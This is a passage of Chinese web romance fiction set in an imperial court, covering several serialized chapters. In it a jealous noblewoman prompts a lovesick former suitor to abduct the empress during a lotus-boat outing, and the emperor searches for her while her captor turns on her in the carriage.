小二提着茶壶,殷勤的回道,“小姐有所不知,据说今日事国公府家的大公子跟薛家的二姑娘议亲的日子,方才袁家议亲的人马从店门口过去,那排场……真是难得一见啊。” 薛家二姑娘说的便是薛雪媚的妹妹薛元柔,这人她熟,毕竟跟她一样,都有一个姐姐在宫里做妃子,某些重要场合里,她俩也暗暗较劲过。 可是这袁家大公子……连亦心想,估计就是袁子逸了。 他不是沈若辞从前的情郎吗? 前些日子她才听说袁子逸对沈若辞余情未了,沈若辞这才入宫几个月,袁子逸就开始跟别的女人议亲了,果然人心都是善变的。 连亦心苦笑,只有她,是一心一意地追随着一个人。 人马渐行渐远,楼下的热闹散去,连亦心好不容易得了片刻的安静,又听到马蹄声由远及近,她下意识探出头去看,刚好看到袁子逸骑在马上,独自一人返回,后边还跟着国公府的下人,跑的气喘吁吁,一路喊道,“公子,您不能一个人先走啊,大家都在等着您呢……” “可笑!”连亦心嘲讽地笑道,话刚出口,她突然想到什么,立即起身朝楼下奔去,边走边对侍从喊道,“备马。” 连亦心最终还是赶上了袁子逸,二人在湖边停下来。 袁子逸还没开口询问连亦心为何跟着他,连亦心抢先开了口,当场戳穿他的心思,“袁公子逃避与薛家议亲,是不是因为心里还惦记着皇后娘娘?” 原本就因家人强迫他议亲的事闷闷不乐,此时听到连亦心直白的话,袁子逸的脸色更加难看。 可他最终只表现出怒意,却并无反驳。 连亦心笑道,“自己一个人躲起来生窝囊气是没用的,幸福要靠自己争取,连公子不会明白这个道理吧?” 这些日子来,没有人能理解他,没有人愿意听他倾诉心中的苦闷。他的苦,在他的亲人好友眼中,是不值一提的小事,没有人在意。 此时忽然有人愿意主动与他谈及此事,尽管这个人他并不熟悉,袁子逸还是愿意和她继续交谈。袁子逸苦笑,“明白又能怎么样,她在宫里,是高高在上的皇后娘娘,我连她的面都无法见到。” “事在人为,哪里会有无法见到的说法。十日后,将军府的寿宴上,帝后二人会一同出席,袁公子要是去贺寿的话,不就能与她见面了吗?” 袁子逸灰暗的眼神中浮现一缕亮光,可只是一瞬,便稍纵即逝,他道,“连小姐特意告诉袁某这些,到底有何目的?” 他只是被无穷无尽的思念消磨了理智,却并非真的傻子,连亦心与他无亲无故,突然跑来跟他透露这些话,他不得不怀疑对方的居心。 连亦心来的路上就已经想好了说辞,她怅然道,“袁公子会怀疑我的用心也是人之常情,毕竟我俩并无交情。我只不过跟袁公子一样,是一个爱而不得的可怜人罢了。” 袁子逸心弦微动,他稍一细想,便可猜出,“连小姐喜欢的人是当今皇上。” 连亦心本无所谓被人知晓她喜欢元栩的事,可当袁子逸当着她的面指出这一点时,她却还是装出被拆穿心事后的恼羞成怒,“袁公子不必自作聪明了!” 眼下她想传递的信息已经带到了,其他话她不能说太多,说多了日后此事稍有破绽漏出,就会对自己造成威胁。 事情到底能不能办成,那就要看袁子逸的能力了,这点是她无法控制的。她想借刀杀人,但这把刀利不利,不试试谁知道呢。 等到薛老将军寿宴那一天,元栩带着沈若辞前往将军府。 马车辘辘前行,车内却安安静静的,沈若辞靠着车壁养神。前两年身子不好,如今刚有起色,她自己也格外爱惜身子。 她身子软绵绵的,随着马车前进微微晃动,此时她坐得并不端正,好似摇摇欲坠,随时要倒下那般。 元栩原本还看着书,慢慢地便觉得书本索然无趣,干脆把书一合扔到旁边去。他抱着臂望向沈若辞,“去将军府还有一段路程,不如找点有趣的事来做?” 沈若辞闻声回过神来,随口一问,“皇上想做什么有趣的事?” 他缓缓抬眸,提议道,“要不亲一下?” 沈若辞瞪大了眼睛,“那可不行,臣妾今天擦了口脂的,等会亲没了就不好看了。” 元栩看她紧张的样子不由得失笑道,“那算了,回程的时候再亲。” 他先把话说满了,沈若辞就没法拒绝了。她想昨天夜里还没亲够吗?竟然在哪里都想着这事。 皇帝到的时候已经是比较晚了,他今日是微服到访,并不想一堆人围着他转,一早便下旨让众人各玩各的,别来打扰他。 前来祝寿的大臣都是领教过元栩脾性的人,对他的话分毫不敢造次,位高权重的官员还敢迎上去行礼问安,普通官员遇到了也只是退到一旁避让行礼。 一位穿青绿色外袍的年轻官员远远地见到皇帝,就赶紧带着身旁的妻子避让道路旁,等到皇帝走远了,二人才敢从草丛里走出来。 那官员的妻子望着皇帝清俊的背影,疑惑道,“皇上也不像你们说得那般可怕啊,你看他眼睛含笑,简直英俊得不像世间凡人,皇后娘娘就长得更漂亮了,家世也好,跟皇上真是一对璧人。” 年轻的丈夫给她使了几个眼色,妻子都像是没听到一般一顿滔滔不绝,直到皇帝突然回过头来,目光落在二人身上,那官员才急急忙忙地喝止她,“还不赶紧闭嘴!” 说话的妻子这才发现皇帝在看自己,不由得愣了一下,就见皇帝开口道,“是哪家的夫人?” 作者有话说:毫无演技,全靠美貌。 第66章 沈若辞见他好好的突然回头, 心中略感不妙。 年轻的官员如遭大难,低头哈腰一路小跑过去,而后战战兢兢地跪拜行礼, “臣中书侍郎——陈辉,拜见皇上, 皇后娘娘。” 沈若辞耳力不如元栩,未曾听清陈夫人评论她二人的话, 她有些担忧地望向陈夫人,生怕对方说了什么话惹怒皇帝。 元栩问道, “陈辉是吧,这位是你的夫人?” 陈辉暗地里用手肘顶了顶一旁的妻子, “正是贱内, 贱内言出无状, 惊扰了皇上、皇后娘娘。请皇上责罚微臣, 莫要怪罪贱内……” 元栩直接越过一旁絮絮叨叨的陈辉,拿手指了指陈辉的妻子, “夫人说得好, 有赏,封为五品诰命夫人。” 陈辉呆愣在原地,半天嘴巴都没合上。倒是陈夫人反应极快,皇上话才刚说完, 就立马跪地拜谢,“多谢皇上,皇后娘娘, 臣妇感激不尽。” 同样怔愣的还有沈若辞,她很好奇,这位陈夫人究竟说了什么话, 能让皇帝当场给了封号。 她茫然地抬头望向元栩,只见他微笑着朝她眨了一下眼睛,露出得意的表情,而后牵着沈若辞离开。 元栩已经走远,陈辉还没从方才的恐惧中挣脱出来,陈夫人拉着丈夫的袖摆,炫耀道,“看吧,我说得没错吧,皇上人真好。” 感觉鬼门关走过一遭的陈辉“……” 走出一段距离后,沈若辞的好奇心不减反增,她觉得有必要学习一下,若是日后哪里惹怒了皇帝,便可投其所好,说些好听的、他喜欢听的,没准还可免于责罚。 她试探着问到,“皇上,陈夫人方才说了什么,能让您龙心大悦。” 元栩目视前方,慢悠悠地往前走,“你猜。” 沈若辞尽量想一些做皇帝喜欢听的话,“嗯,那一定是说皇上英明神勇,爱民如子。” 元栩皱眉反问道,“朕是这么肤浅的皇帝吗?” 沈若辞哑然,此时她才后知后觉地发现,自己作为一个妻子,对她的丈夫其实并不了解。他究竟喜欢听什么话,喜欢做什么事,甚至连日常三餐喜欢吃什么,她都一无所知。 等等! 沈若辞及时叫停自己的想法,她算哪门子正经妻子,他又算她哪门子正经丈夫,她跟皇帝,不过是互相利用,互相牵制的关系。她为何要为自己没有了解他的喜好而感到愧疚? 再看元栩的反应,他根本不在意她是否有尽到一个好妻子的职责。 他只是不甚在意地提醒道,“皇后不妨再猜一下,猜不出来的话,回程的路上再告诉你。” 她心中竟莫名有些失落,失了好奇,就没有心思再去猜了。 干脆等回程的路上,直接听他说答案就好了。 将军府的随从将帝后二人领到了前厅,薛老将军跟薛老夫人正在宴客,见皇帝来了,赶忙上前拜见。 元栩客气地将人扶起来,“薛老将军不必多礼。” 薛展松虽已是六旬老人,但常年带兵打仗,身体素质善可,加之今日人逢喜事,更是红光满面,“皇上体恤老臣,特意派人来告知老臣不必在门口迎接,臣感恩在怀。” 薛老夫人目光一直落在沈若辞身上,等皇帝跟丈夫说完后,她才缓缓开口,“这位想必就是皇后娘娘,这模样真真招人喜欢。” 元栩看向沈若辞,答道,“是。” 薛老夫人仍盯着沈若辞看,看着看着,眼泪就掉下来了。 “您怎么哭了?”沈若辞惊慌地询问她,拿出手帕替她擦去眼泪,见她不答,又无措地看向元栩。 “她跟您长得真像……”薛老夫人忽然低下头去,神色似在隐忍,但重新抬头的时候,脸上却已挂上淡淡的笑,“老身失礼了,方才一见到皇后娘娘,就想到早逝的女儿,一时没忍住,让皇后娘娘见笑了。” 想到她早年丧女,中年丧子,沈若辞也不由得难过起来,她将自己的帕子递给薛老夫人,轻声安慰了两句。 薛展松拍了拍妻子的背,“别哭了。” 薛老夫人点了点头,“老爷,要是璃娘还在的话,如今也该像皇后娘娘这么大了。”她用帕子擦了擦眼角,似乎还想再多看沈若辞一眼。 薛展松叹了口气,无奈道,“还说这些干什么。” 这时候府中下人带着两位小公子过来,薛老将军牵过小孙儿的手,“昊儿,聪儿,还不赶紧拜见皇上、皇后娘娘。” 六岁的昊儿机灵可爱,闻言便跪在地上,有模有样地给元栩行礼。聪儿才四岁,学着哥哥的样子笨拙地准备跪下去,就被元栩伸手捞了起来,抱在怀里。 薛老将军的儿子为国战死沙场的事,沈若辞早有耳闻,想到这么小的孩子就没了父亲,她心中不免惋惜,将昊儿扶起来,拍拍他的肩膀,夸赞道,“小男子汉。” 两个孩子都被教养得落落大方,在皇帝面前也不胆怯,薛老将军夫妇欣慰地望着两个孙儿,方才想起已故女儿的悲伤也被一扫而尽,又忙着招待其他客人。 沈若辞捏捏元聪儿胖嘟嘟的脸颊,又握了握他胖嘟嘟的小手,就见元栩将脸蹭到聪儿脖子处,深深地吸了一口,“真香。”说完看了她一眼,然后示意沈若辞也闻一闻。 沈若辞还有些迟疑,聪儿便主动将脖子伸过来,她也不客气了,用鼻子蹭了蹭聪儿的脸颊,把他逗得咯咯大笑。 元栩笑道,“是不是很香?”他忽然低头下来,在她耳边轻语道,“跟沿沿身上的一样,奶香奶香的。” 沈若辞原本还在笑,听到这两个字,一时脸上笑意凝固,愣在原地。从前她很反感元栩说这个字眼,觉得他是故意取笑,甚至是折辱自己,如今她闻着聪儿身上的气息,心中恍然大悟,才明白过来他一直强调的她身上有奶香,原来指的是小孩子身上这种自然的、与生俱来的气息。 一想到自己一直将这两个字想歪,沈若辞顿时都有些无地自容。 元栩看着沈若辞的脸,红一阵,白一阵,最后红着脸,垂下头盯着自己的脚尖,他忍不住握起聪儿的手去戳她细嫩的脸颊,“聪儿问问,我们皇后娘娘在不好意思什么?”他戳了两下,见她的头垂得更低,了然道,“该不会是在想,日后朕与皇后带自己孩子的场面吧?” 没等她回答,元栩忽然抱着聪儿侧过身去,神神秘秘地说道,“沿沿只管生,朕能带。” 一听他不要脸的发言,沈若辞方才那点因误会他而萌出来的愧疚登时荡然无存。 昊儿聪儿毕竟是孩子,薛老夫人怕他俩冲撞了皇帝,便来把孩子抱走了,前厅里只剩下帝后二人,旁人都不敢贸然进来。 沈若辞望着薛老夫人的背影,低声问元栩,“皇上,臣妾跟薛老将军的女儿长得很像吗?” “不清楚,应该是不像。”元栩随口回答。 方才薛老夫人明明一见到她的样貌就哭了,要说不像,也说不过去,“那为何薛老夫人说长得像?” 元栩闻言脚步一顿,他微微转身,伸手过去掐住她的脸颊,“大概是天底下做父母的,心目中的女儿都是这般漂亮的模样。” 所以才会见她美好的模样,就想起自己早逝的女儿。 沈若辞抬头,见他一双眼睛似笑非笑,眉眼间自有一股风流的贵气,心跳莫名漏了一拍。 “嗯?”他伸出两只手指捏了捏她白皙的脸颊。 沈若辞下意识别过头去避开他的目光,而后芙蓉粉面后知后觉地红了起来,最后连耳朵都是热的。 不远处的连亦心亲眼目睹这一幕,生生被灼伤了眼睛。沈若辞只是一颗棋子,自己能容忍她暂时成为皇后,还能有耐性等她从皇帝身边消失,可若是皇帝要对她动心,就万万不能容忍了。 “沈若辞。”皇帝忽然叫她的名字,沈若辞疑惑地抬头看他,就听他说,“当初你爱惨了朕,一心一意想嫁给朕。可你知道为什么,明明想嫁给朕的人那么多,而朕却选择你为大魏的皇后?” 那可不是为了拿她当棋子,用来牵制父亲嘛。沈若辞心里这么想,也没敢说出来。元栩并没有真的要她回答的意思,他继续说道,“朕想着娶了沿沿,生个一模一样的女儿,也未尝不是好事。” 沈若辞杏眸水汪汪的,目光微怔,等确定这句话真的是从皇帝口中说出来,而且是在对她说的时候,猛然抬眸望向他,面上才后知后觉地腾起一片薄红。 胡说八道,没个正经! 这一幕落在连亦心眼里,全然不是滋味。而此时,她更庆幸自己早几天就想好了计谋,只待计划顺利进行,沈若辞便可从表哥身边消失,后位就非她莫属了,再让沈若辞得意一阵也无妨。 将军府的后院有一条河,横贯半个盛京。薛老将军命人在后院这段水域里种满了观赏的荷花,每年花开,绿裙红衣,宛若仙女亭亭玉立。 午宴后,连亦心提议女眷们去后院乘船赏荷。沈若辞在众人的簇拥下来到河边,她扶着锦云的手上了船。 船舱内没有风,沈若辞更乐意在外边呆着。船头尖而长,年轻的女孩子站在船舷上嬉闹,摘荷花采莲蓬,欢声笑语一片。船尾宽而大,摆了桌子椅子,可以边喝茶边赏花,刚摘下来的新鲜的荷叶,用水洗过后,直接放在炭炉上的茶壶烹煮,还未入口便能闻到荷叶的清香。 沈若辞便坐在船尾处喝荷叶茶,与她一同品茶赏荷还有连亦心。连亦心今日穿一身粉色长裙,在团团绿叶尤为娇嫩可人。 “娘娘,花花给你。”昊儿手里拿着一大朵绽放的荷花,送到沈若辞手里。 沈若辞接过荷花,在他肉嘟嘟的小脸上亲了一口,夸赞道,“昊儿真乖!” 昊儿得了夸奖备受鼓舞,他腼腆地笑了,扭头就跑到船舷边上,准备继续摘荷花。但是他个子小,手又短,很难够到荷花,而且漂亮的花朵经过船头姐姐们的采摘后更是所剩无几,急得他都要哭出来了。 沈若辞唤来锦云,叫她陪昊儿去船头摘花。 锦云不放心皇后娘娘一个人,迟疑着没有动。 “快带昊儿到前头去,这不还有我跟丫鬟在嘛。”连亦心拿眼指了指煮茶的丫鬟,催促道。 昊儿已经等不及了,拉着锦云的手就往船头的方向跑,锦云只好小跑着跟过去。 船头站满了人,昊儿挤到姑娘们中间,伸出手去扒拉荷叶,很快就摘到第一朵,锦云刚想说回去了,哪知昊儿将荷花给她后,又开始去寻找第二朵,锦云只好探着头跟他一起找。 半刻钟后,锦云手里已经被塞了三朵荷花,昊儿却没有要回去的意思。锦云回头,视线越过船舱,正准备往船尾的方向看过去,就见船舱里连亦心拿着一朵荷花插到一个姑娘的头上。她心头顿时有一种不好的预感,扔下荷花就往船尾跑去。 此时船尾空无一人,皇后娘娘已然不见踪影,就连方才煮茶的丫鬟也不见了。 作者有话说:小夫妻大婚后第一回 分开 第67章 锦云跑进船舱, “连姑娘,皇后娘娘呢?” 连亦心茫然抬起头,“不是在外面吗?我刚刚进来的时候, 她还在那里坐着啊。” 锦云闻言更是急得要哭了,大喊道, “船夫,快靠岸!” 等船靠了岸, 锦云急忙跑向岸上,找到岳常安后, 将皇后娘娘失踪的事告知给皇上。 此时元栩正在和薛老将军品茗,听到岳常安将沈若辞失踪的消息禀报给他后, 面色一时间凝重起来。 他缓缓从榻上起身, 周身气质瞬间凌厉起来, 不复方才品茗时优雅清俊的翩翩公子形象。 屋中众人下意识后退半步, 元栩沉声道,“即刻封锁将军府, 无朕指令, 任何人等不准随意进出。” 严从晖领命离去,元栩又下令让侍卫快马加鞭赶往城门口,通知守城将士立即封锁城门,暂时只入不出。 交代好这一切, 他才大步赶往荷花池。 元栩到的时候,荷花池里密密麻麻都是人影,熟悉水性的士兵已经在水里找过一轮, 目前仍一无所获。 荷花池边,锦云红着眼睛,将元栩带到船边, 指着船尾处,将事情的经过完完整整地说了一遍,而后便跪在地上,再也不敢起来。 皇帝绕过跪着的锦云径直走向河边,他沿着船尾的方向指过去,“这河通往何处?” 薛老将军答道,“这里可以直接通往护城河。” 元栩视线望向围墙处,“隔壁是谁家的宅院?” 薛老将军赶紧上前回话,“老臣记得是是国公府的一处别院。” “带路,朕要过去看看。”元栩已经迈开步子,声音冷如寒冰,众人心惊胆战,默契地给皇帝让路。 元栩走出几步,忽然侧过头朝右后方的将领厉声道,“去把袁国公、袁子逸一并带过来。” 将领听命,“是。” 众人心头都阴沉沉的,大气不敢出一声,领命的将领如释重负地从人群里离开,前往国公府。 薛老将军带着皇帝来到隔壁国公府别院,严从晖一脚踹开大门。元栩直接骑马进去,众人绕着整个别院跑了一圈,没发现什么线索。 随着时间的流逝,元栩的耐性也在一点点消磨,他勒紧缰绳,冷声道,“给朕搜,一个角落也不能放过。” 侍卫们前脚刚走,袁国公后脚就到了,一见元栩就急匆匆地跪拜行礼,“臣参见皇上。” 元栩骑在马上,居高临下地看着他一个人,“袁子逸呢,怎么没来。” 袁国公如实答道,“皇上恕罪,犬子今日出门去了,并不在府上,臣已经派人去找了,找到了马上赶过来。” 元栩冷笑道,“怕是找不到了!” 袁国公闻言大惊,来的路上他已经大概打听到事情原委,他心里其实并没有底,毕竟这些日子里,儿子对沈若辞的痴念已然到了极致,甚至在她入宫后整个人开始变得浑浑噩噩,阴晴不定。 眼下事情尚未有定论,还不确认是否为袁子逸所为,仍有回旋的余地,袁国公只好硬着头皮,“皇上消消气,臣定会把那孽子找回来,带到皇上面前来。” 元栩半个眼神也没有给他,一夹马腹直接就走了,众人跟在后边扬长而去,只留下面如土色的袁国公仍跪在滚滚的尘烟中。 城外,马车内的沈若辞慢慢地苏醒过来,刚睁开眼睛,入眼便是一张陌生的年轻女子面孔。 那女子见她醒来,冷冷地看了一眼,而后像没看到她这个人那般,将目光收回去。 沈若辞心中满是疑惑,自己不是应该在将军府的画舫上赏荷吗?怎么会出现在马车里? 她拢着双眉坐起身来,这才发现自己身上的衣裳不知何时被换了,而马车,也不是从皇宫出来时坐的那一辆。 “你是何人?”她盯着那女子多看了两眼,突然想起来她就是方才在船头煮茶的丫鬟,只不过穿的不是将军府下人的衣裳,此时已经换了一身干练的短打,整个人看起来冷漠不好接近。 沈若辞追问道,“你要带我去哪里?” 回应她的依旧是漠视,沈若辞压下心中的不满,伸手试图推开车窗,却发现窗是封死的,根本无法打开。 看她对自己不理不睬,沈若辞壮着胆子蹲起来,朝车门移动过去。 就在她手指触及车门的时候,那女子才终于有了反应,以猝不及防的速度横过来一只手臂,对着她的胸口粗鲁地推了一把。马车在快速行进,沈若辞本来就重心不稳,被她这么一推,又跌回车板上。 摔倒的时候头撞在车壁上,她吃痛叫了一声,却被那女子狠狠地瞪了一眼。 车内的动静引发赶车人的注意,外边传来年轻男子的声音,“发生什么事了?” 沈若辞一听便知道说话的人是谁,这声音她太熟悉了。 听到袁子逸的声音,那女子像是突然活过来那般,这才慢吞吞地起来推开车门,而后探身出去低语道,“公子,她醒了。” 袁子逸勒紧缰绳,放慢了速度,“红枝,你出来赶车,换我进去。” 红枝答道,“是……公子。” 沈若辞听他要进来,身子下意识往后退了退,直到抵住车壁才停下来。 袁子逸进来后,第一件事就是关上车门,马车又恢复了方才的速度。 “小辞,我们,终于可以在一起了。”他关好车门转身过来,微笑着叫她的名字。 虽然在听到他声音的时候,就已经知道他是谁。但当袁子逸的脸出现在眼前,沈若辞心中还是觉得不可思议,她完全没想到袁子逸竟然会做出这种事来。 见她眼神中带着防备,袁子逸下意识选择无视,转而关切起她的身体来,“小辞,你是不是不舒服?” 说话的同时探手过来摸她的额头,沈若辞用手挡住额头,不给他碰,见他作罢,才平静地问道,“你为什么要这么做?” 一句话似乎勾起袁子逸心中的委屈,他苦笑道,“小辞,你竟然问我为什么要这么做?旁人无法理解,你却应该明白才是。” 若是没有皇帝横刀夺爱,他跟沈若辞本该是青梅竹马,天生一对。 “我确实无法明白。”早在袁子逸母亲寿宴那天,国公府当面毁婚,两家将话说得明明白白,她跟袁子逸在那日就一刀两断了。 沈若辞耐着性子讲道理,“你就没想过,你这样的行为,不止会害了我,害了我阿爹,还会害你一家人为你陪葬!” 袁子逸分明没听进去她的话,神情近乎痴狂,喃喃道,“如今我也顾不上别人了,我只想要你,只要你!” 这几个月来对沈若辞的思念,已经将他折磨得人不人鬼不鬼了。而他的亲人,对他的态度,由起初的关怀转变为恶语相向,到最后冷言冷语不留情面,耗光了他心中所有的忍耐。 沈若辞并不明白当初谦谦君子的模样,如今为何变了一个人,变得冷漠、偏执、癫狂。 袁子逸似乎没明白,就算没有皇帝,她们也不可能在一起,他的父母并不喜欢她,不会同意她进袁家的门。 眼下事情还有转圜的余地,沈若辞觉得自己还可以再争取一下,“袁公子,你现在送我回去吧,我可以当没见过你。” 可惜袁子逸非但不领她的情,反而指责道,“小辞,我当真没想到,我大费周折,好不容易把你从他手中救出来,你竟然能说这样的话,你竟然还想回到他身边去。你,太让我失望了!” 他眼底发红,自嘲道,“真是想不到啊。” 沈若辞自然不接受他泼过来的脏水,一针见血地指出,“你莫要忘了,当初主动放弃这段婚事的,是你们袁家,我不过是顺应你父母的意思,不再与你来往。” 袁子逸没想到二人之间的感情,在她口中仅仅是轻飘飘的两句话,顺应、不再来往,她怎么能轻轻松松,毫不留恋地说放就放? 她怎舍得? 袁子逸目中鄙夷之色不加掩饰,冷笑道,“你该不会是舍不得皇后的殊荣,才想再回到他的身边去吧!” 沈若辞发现已经无法正常与他沟通,再与他说下去,估计能将他父母拜高踩低想要悔婚的过错都归结到她身上。 讲道理行不通,沈若辞只好央求道,“放我回去吧,我不想让我阿爹操心。” 听沈若辞提及沈相,袁子逸像找到一线生机,“小辞,你不必担忧,等我们安定好了,我会派人将我们的事告诉沈相,不会让他一直为你操心的。” 沈若辞听完眉头皱的更紧,这人已经听不进去人话了,说再多也是白费口舌,她干脆选择沉默。 此时车厢里只有他跟沈若辞,没有别人的打扰,时隔月余,这张令他魂牵梦绕、令他牵肠挂肚的脸,此刻真真实实地出现在他眼前,袁子逸心中情丝翻涌,不由得倾诉起自己的思念,“小辞,这个几月来,我真的好想你,白天想、夜里想,时时刻刻都在想。” 第68章 袁子逸沉浸在自己温柔带着缱绻的声音里, 他满怀期待地等待着沈若辞的回应,却久久不见她做出反应,“小辞?” 沈若辞抬眸看了他一眼, 轻声道,“我累了, 想休息一会。” 袁子逸满腔期待被浇灭,嘴边勉强挤出一个“好”字。 盛京。, 城门口秋风萧瑟。 元栩带人赶到护城河边的时候,岸边一滩水渍明显未干, 显然对方早有准备,他来晚了。 “袁子逸还没找到吗?”他冷笑一声。话说得咬牙切齿, 恨不得将此人千刀万剐。 他还是对袁子逸太仁慈了, 就凭梦里袁家人对沈若辞的所作所为, 就足够他们一家人死上一百回, 且死不足惜。 一旁的侍卫战战兢兢地地禀道,“回皇上, 尚未找到袁子逸。” 元栩已然失去了全部耐心, 他下令,“即刻派一队人马,沿着马车行进的轨迹一路追踪下去,沿途记得留下引路的线索。” 元栩吩咐完所有事情的时候, 程于秋刚好赶到,她低头俯视着地面未干的水渍,想起近日来盛京里发生的好几起良家女子失踪的案件, 心中泛起一重又一重的担忧。 程于秋表达了自己的想法。 元栩却不这么认为,毕竟不是什么人都敢掳走皇后,将军府也不是什么人都可以进的。 如果再找不到袁子逸, 那便可以断定此事就是他所为。 程于秋从前见过袁子逸,外貌温文尔雅,待人彬彬有礼,若真是他掳走了沈沿沿,那真可谓是人心难测。 她心系沈若辞安危,自动请命,“皇上,请容许末将随您一同前去寻找皇后娘娘。” 元栩自然不会拒绝,如今他已知晓沈若辞跟程于秋的交情,她能来帮忙,元栩绝对是欢迎的,毕竟沈若辞失踪的事,越少人知道越好。 元栩点头道,“准,程将军随朕一同出发。” 众人循着马车前进的踪迹一路追寻,起初一切都进展顺利,只是越往后走,马车的车迹开始被其他车轮的痕迹破坏、掩盖,逐渐变得模糊难以辨认。 程于秋只好跟元栩分开寻找沈若辞,本来一大队人马,慢慢分开朝不同的方向行进,到最后除了元栩仍带着二十余人,其余每队人马都只剩下不到十个人。 程于秋看着自己身边仅剩的寥寥几个将士,心中担忧更浓,人数越少,代表找到人的难度就越大。 她望向元栩,这位年轻的帝王神色始终淡淡的,甚至眉头都不曾皱一下。从一开始在护城河见面的时候,他就是这副表情,脸上没有展露担忧或者不安,压根儿看不出任何情绪。 程于秋开始迷茫,他究竟在不在意沈若辞的安危?或者,往更坏的结果想,他根本不想沈若辞再回来? 这种想法在脑中一闪而过,已经没有多余时间留给程于秋思考了,她带着人马,转身就朝另一方向奔去。 翌日。 日暮时分,一辆再普通不过的马车停在一处人流稀少的大路边修整。车外红枝敲了敲车门,送进来一些吃的东西,这是她刚从店里买来的,东西还是热的。 沈若辞手搁在腰间,见这二人同时出现,刚好跟他们要回自己的东西,“我的小鱼玉佩呢?还给我。” 红枝置若罔闻,像个木头一样一动不动,一旁袁子逸努力挤出一抹笑意,“小辞,宫里……” 见他吞吞吐吐,沈若辞就知道他心中必是在计较什么,干脆直截了当地打断他,“我身上,所有属于宫中的东西,都被你们拿走了。现如今除了这身衣裳空无一物,玉佩是我爹给我的,难道也不能要回来吗?” 这行径,听起来跟强盗有何差别? 一听玉佩是沈相给沈若辞的,袁子逸不再笑得那么勉强了,他朝红枝交代道,“把玉佩拿出来,还给小辞。” 红枝抬头看了沈若辞一眼,这才将手伸向随身携带的包袱里,摸出玉佩交给袁子逸,袁子逸转手将玉佩还给沈若辞。 他双手奉上,“物归原主。” 沈若辞接过玉佩,却不回应他的话。 袁子逸无声地笑了笑,然后将吃食摆放好,招呼沈若辞过去吃东西。 长时间的奔波赶路,沈若辞周身疲倦,并没有胃口吃东西,只是恹恹地看了一眼,却连一根手指也没有动。 “小辞,你身子差,路途颠簸劳累,快来吃些东西。”袁子逸盛了一碗粥送到她手里,微笑着望着她。 沈若辞勉强拿起调羹,在袁子逸的注视下吃了小半碗,就再也吃不下去了。 袁子逸从她手中接过小碗,抱歉道,“这里穷乡僻壤,没什么好吃的,等明日到了城里,再带小辞去吃好吃的,补一补身子。”说完便拿起碗中的调羹,就着她的碗,开始吃她剩下的粥。 沈若辞拧着眉头,心中不悦,嘴上却始终没有出言阻止,只是淡漠地别过头去。 他做给谁看? 袁子逸吃完后,便唤红枝进来收拾,吃食都被拿出去了,马车里只剩下两个人独处。 红枝开始赶车,马车又开始前进起来。 袁子逸絮絮叨叨说了一会儿闲话,沈若辞始终没有搭腔,最后他自觉没趣,终于闭上了嘴巴。 车中安安静静的,根本没有他心中期待的,久别重逢后的欣喜、欢愉,只有他一个人在意的相聚,有什么意思? 为什么念念不忘的,始终只有他一个人? 就因为他撒了一个小小的谎,老天就要这么对他吗?他心中百般纠结,百般不甘。 “袁子逸。” 正在他暗自不甘时,沈若辞忽然开口,漂亮的眼睛看向他。 沈若辞的突然开口打断了他的思绪,她已经半天没开过口,半天没跟他说上一个字了。此时终于肯开口,虽然连名带姓地叫他,袁子逸心里还是高兴的。 他回望向她,眼中满是期待的神色,“小辞。” 沈若辞瞳孔微微一缩,停顿了一会儿,才慢慢问出心中疑虑,“你究竟要带我去哪里?” 袁子逸白皙的脸上带着笑,语气温温和和,“小辞,容我卖个关子,我们要去哪里,现在还不能说,等到那里你就知道了。放心,我不会亏待小辞的,我会安排好一切,绝不会让小辞吃苦。” 沈若辞对他口中处处为她着想的言论无动于衷,她非但不觉得感动,反而认为可笑至极。 普天之下莫非王土,他要带她逃,能逃去哪里?退一万步讲,若这回真的给他逃出去了,日后要她一辈子过着躲躲藏藏的生活? 沈若辞嘴边浮现一抹嘲讽的笑意,迫着他认清现实,“他是皇帝,你逃不掉的。” 就算她说的话是事实,就算他真的逃不过皇帝的魔爪,可这话千不该万不该从她沈若辞嘴里说出来! 他煞费苦心为她筹谋,冒着生命危险终于得了机会将她救出来,到最后只换来这么一句令他备受打击的冷冰冰的话! 袁子逸心中恶念丛生,他一把抓起沈若辞的手腕,一点一点地收缩握紧,质问的话从口中迸出,一字一句,“你究竟知不知道,你在说什么!” 沈若辞并不喜欢他这种没有边界的碰触,直觉想要甩开他的手,却被握得更紧,她吃痛,嘴里溢出一声呻吟,控诉道,“痛……” 袁子逸听到了,也看到了,却恶意地增加力道,言语中都是报复的快感,“你也配提痛?”他铁了心,准备让她也尝尝痛的滋味。 沈若辞忍着骨裂的痛楚,眼眶红了一圈,却没有求他的意思。到了这种时候,她仍不肯低头向他求饶,袁子逸瞬间被她这副清高不屈的模样激怒,厌恶地将甩开手臂将她推到,而后倾身过去压着她。 他倒是要看看,她还要如何反抗,如何为拆散他二人的皇帝守身如玉! 沈若辞不肯屈从,她奋力反抗,挣扎得鬓发松散,连带衣领也被扯开,原本该隐藏在衣物下的白皙的肌肤暴露在他惊愕的目光中。 他本意只是想亲她,并没有要在马车里强要她的意思,可当此时她衣衫不整地卧在他身下时,他的目光却不受控制地开始在她身上逡巡。 光洁秀挺的脖颈,精致的锁骨,敞开的衣领下如绸缎般莹润细腻、光华艳艳的瓷白身段上,布满了本不该出现在这具完美身子上的红痕。 一抹刺眼的红,从左侧胸口一路蔓延,直至掩没在绵软的布料里,引人遐想。 袁子逸瞳仁一缩,前一刻还周身血液沸腾,顷刻间又如坠冰河,透骨奇寒,连额角的汗,也冰得渗人。他虽从未有过女人,却也敏感地捕捉到这些颜色深深浅浅,大小形状不一的红痕,是那个男人留下的,在与她……欢好的时候留在她身上的。 袁子逸感觉心底一片冰凉,他不是没有想过,如她这般美色,必然会成为皇帝的玩物。 可当此时亲眼目睹她与其他男人欢好后留下的印记,他的心脏还是不受控制地猛然收缩,这一下令他几乎无法呼吸。 作者有话说:元栩:没有老婆在身边的日子度日如年。 第69章 感受到窒息的恐惧后, 他顶着一头冷汗,张皇无措地撑着身子坐起来。可脑中她一身暧昧痕迹的画面始终挥之不去,多重打击之下, 他猛地伸手去推窗,才发现车窗早已被他自己封死, 他颓丧地趴在车板上,浑身颤抖不止, 剧烈地干呕起来。 许久,他终于停止了干呕, 而后恨恨地吐出一个字,“脏!” 脏? 沈若辞才从被他侵犯的恐惧中解脱出来, 就被迫观看了他这一系列迷惑的行为。他其实大可不必委屈成这个样子, 嫌她脏, 他可以不看, 他可以走。 没有人逼他,没有。 可当此时, 他又恢复往日里端方雅正的外在, 若不是眼里红意未散,怕是很难将方才发疯无耻的行径与他联系起来。 